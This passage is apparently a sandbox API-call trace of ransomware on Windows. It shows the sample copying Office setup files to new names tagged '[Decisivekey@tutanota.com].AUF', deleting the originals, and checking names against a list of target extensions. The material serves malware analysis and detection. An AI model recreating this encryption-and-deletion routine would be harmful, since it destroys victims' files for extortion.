dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0211.523] GetLastError () returned 0x0 [0211.523] ReadFile (in: hFile=0x1e0, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0211.526] WriteFile (in: hFile=0x1f0, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0211.527] ReadFile (in: hFile=0x1e0, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.527] WriteFile (in: hFile=0x1f0, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0211.527] SetEndOfFile (hFile=0x1f0) returned 1 [0211.527] CloseHandle (hObject=0x1f0) returned 1 [0211.527] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.527] SetEndOfFile (hFile=0x1e0) returned 1 [0211.528] CloseHandle (hObject=0x1e0) returned 1 [0211.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.528] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 1 [0211.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0211.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0211.528] lstrlenW (lpString=".doc") returned 4 [0211.528] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.528] lstrlenW (lpString=".docx") returned 5 [0211.528] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0211.528] lstrlenW (lpString=".pdf") returned 4 [0211.528] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.528] lstrlenW (lpString=".xls") returned 4 [0211.528] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.528] lstrlenW (lpString=".xlsx") returned 5 [0211.528] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0211.528] lstrlenW (lpString=".ppt") returned 4 [0211.528] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0211.529] lstrlenW (lpString=".zip") returned 4 [0211.529] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.529] lstrlenW (lpString=".rar") returned 4 [0211.529] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.529] lstrlenW (lpString=".bz2") returned 4 [0211.529] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.529] lstrlenW (lpString=".7z") returned 3 [0211.529] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0211.529] lstrlenW (lpString=".dbf") returned 4 [0211.529] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0211.529] lstrlenW (lpString=".1cd") returned 4 [0211.529] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0211.529] lstrlenW (lpString=".jpg") returned 4 [0211.529] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0211.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0211.529] lstrlenW (lpString=".doc") returned 4 [0211.529] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.529] lstrlenW (lpString=".docx") returned 5 [0211.529] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0211.529] lstrlenW (lpString=".pdf") returned 4 [0211.529] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.529] lstrlenW (lpString=".xls") returned 4 [0211.529] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.529] lstrlenW (lpString=".xlsx") returned 5 [0211.529] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0211.529] lstrlenW (lpString=".ppt") returned 4 [0211.529] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0211.529] lstrlenW (lpString=".zip") returned 4 [0211.529] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.529] lstrlenW (lpString=".rar") returned 4 [0211.530] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.530] lstrlenW (lpString=".bz2") returned 4 [0211.530] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.530] lstrlenW (lpString=".7z") returned 3 [0211.530] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0211.530] lstrlenW (lpString=".dbf") returned 4 [0211.530] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0211.530] lstrlenW (lpString=".1cd") returned 4 [0211.530] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0211.530] lstrlenW (lpString=".jpg") returned 4 [0211.530] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.530] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0211.530] lstrlenW (lpString="SETUP.XML") returned 9 [0211.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.531] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=6241) returned 1 [0211.531] CloseHandle (hObject=0x1e0) returned 1 [0211.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0211.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.531] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.531] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0211.531] GetLastError () returned 0x0 [0211.531] ReadFile (in: hFile=0x1e0, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x1861, lpOverlapped=0x0) returned 1 [0211.538] WriteFile (in: hFile=0x1f0, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0211.539] ReadFile (in: hFile=0x1e0, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.539] WriteFile (in: hFile=0x1f0, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0211.539] SetEndOfFile (hFile=0x1f0) returned 1 [0211.539] CloseHandle (hObject=0x1f0) returned 1 [0211.540] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.540] SetEndOfFile (hFile=0x1e0) returned 1 [0211.540] CloseHandle (hObject=0x1e0) returned 1 [0211.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.540] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 1 [0211.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0211.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0211.541] lstrlenW (lpString=".doc") returned 4 [0211.541] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.541] lstrlenW (lpString=".docx") returned 5 [0211.541] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.541] lstrlenW (lpString=".pdf") returned 4 [0211.541] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.541] lstrlenW (lpString=".xls") returned 4 [0211.541] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.541] lstrlenW (lpString=".xlsx") returned 5 [0211.541] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.541] lstrlenW (lpString=".ppt") returned 4 [0211.541] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0211.541] lstrlenW (lpString=".zip") returned 4 [0211.541] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.541] lstrlenW (lpString=".rar") returned 4 [0211.541] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.541] lstrlenW (lpString=".bz2") returned 4 [0211.541] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.541] lstrlenW (lpString=".7z") returned 3 [0211.541] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0211.541] lstrlenW (lpString=".dbf") returned 4 [0211.541] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0211.541] lstrlenW (lpString=".1cd") returned 4 [0211.541] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0211.541] lstrlenW (lpString=".jpg") returned 4 [0211.541] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0211.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0211.541] lstrlenW (lpString=".doc") returned 4 [0211.541] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.541] lstrlenW (lpString=".docx") returned 5 [0211.541] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.541] lstrlenW (lpString=".pdf") returned 4 [0211.541] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.541] lstrlenW (lpString=".xls") returned 4 [0211.541] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.542] lstrlenW (lpString=".xlsx") returned 5 [0211.542] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.542] lstrlenW (lpString=".ppt") returned 4 [0211.542] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0211.542] lstrlenW (lpString=".zip") returned 4 [0211.542] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.542] lstrlenW (lpString=".rar") returned 4 [0211.542] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.542] lstrlenW (lpString=".bz2") returned 4 [0211.542] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.542] lstrlenW (lpString=".7z") returned 3 [0211.542] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0211.542] lstrlenW (lpString=".dbf") returned 4 [0211.542] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0211.542] lstrlenW (lpString=".1cd") returned 4 [0211.542] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0211.542] lstrlenW (lpString=".jpg") returned 4 [0211.542] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.542] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0211.542] lstrlenW (lpString="VisioMUI.XML") returned 12 [0211.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.543] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=9503) returned 1 [0211.543] CloseHandle (hObject=0x1e0) returned 1 [0211.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0211.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.543] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.543] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.543] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.543] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0211.548] GetLastError () returned 0x0 [0211.548] ReadFile (in: hFile=0x1e0, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x251f, lpOverlapped=0x0) returned 1 [0211.550] WriteFile (in: hFile=0x1f0, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0211.550] ReadFile (in: hFile=0x1e0, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.550] WriteFile (in: hFile=0x1f0, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0211.551] SetEndOfFile (hFile=0x1f0) returned 1 [0211.551] CloseHandle (hObject=0x1f0) returned 1 [0211.551] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.551] SetEndOfFile (hFile=0x1e0) returned 1 [0211.553] CloseHandle (hObject=0x1e0) returned 1 [0211.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.553] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 1 [0211.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0211.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0211.554] lstrlenW (lpString=".doc") returned 4 [0211.554] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.554] lstrlenW (lpString=".docx") returned 5 [0211.554] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0211.554] lstrlenW (lpString=".pdf") returned 4 [0211.554] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.554] lstrlenW (lpString=".xls") returned 4 [0211.554] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.554] lstrlenW (lpString=".xlsx") returned 5 [0211.554] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0211.554] lstrlenW (lpString=".ppt") returned 4 [0211.554] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0211.554] lstrlenW (lpString=".zip") returned 4 [0211.554] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.554] lstrlenW (lpString=".rar") returned 4 [0211.554] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.554] lstrlenW (lpString=".bz2") returned 4 [0211.554] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.554] lstrlenW (lpString=".7z") returned 3 [0211.554] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0211.554] lstrlenW (lpString=".dbf") returned 4 [0211.554] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0211.554] lstrlenW (lpString=".1cd") returned 4 [0211.554] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0211.554] lstrlenW (lpString=".jpg") returned 4 [0211.554] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0211.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0211.554] lstrlenW (lpString=".doc") returned 4 [0211.554] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.554] lstrlenW (lpString=".docx") returned 5 [0211.554] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0211.554] lstrlenW (lpString=".pdf") returned 4 [0211.554] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.554] lstrlenW (lpString=".xls") returned 4 [0211.555] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.555] lstrlenW (lpString=".xlsx") returned 5 [0211.555] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0211.555] lstrlenW (lpString=".ppt") returned 4 [0211.555] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0211.555] lstrlenW (lpString=".zip") returned 4 [0211.555] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.555] lstrlenW (lpString=".rar") returned 4 [0211.555] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.555] lstrlenW (lpString=".bz2") returned 4 [0211.555] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.555] lstrlenW (lpString=".7z") returned 3 [0211.555] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0211.555] lstrlenW (lpString=".dbf") returned 4 [0211.555] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0211.555] lstrlenW (lpString=".1cd") returned 4 [0211.555] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0211.555] lstrlenW (lpString=".jpg") returned 4 [0211.555] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.555] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0211.555] lstrlenW (lpString="SETUP.XML") returned 9 [0211.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.556] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=20577) returned 1 [0211.556] CloseHandle (hObject=0x1e0) returned 1 [0211.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0211.556] GetFileAttributesW (lpFileName="C:\\Program 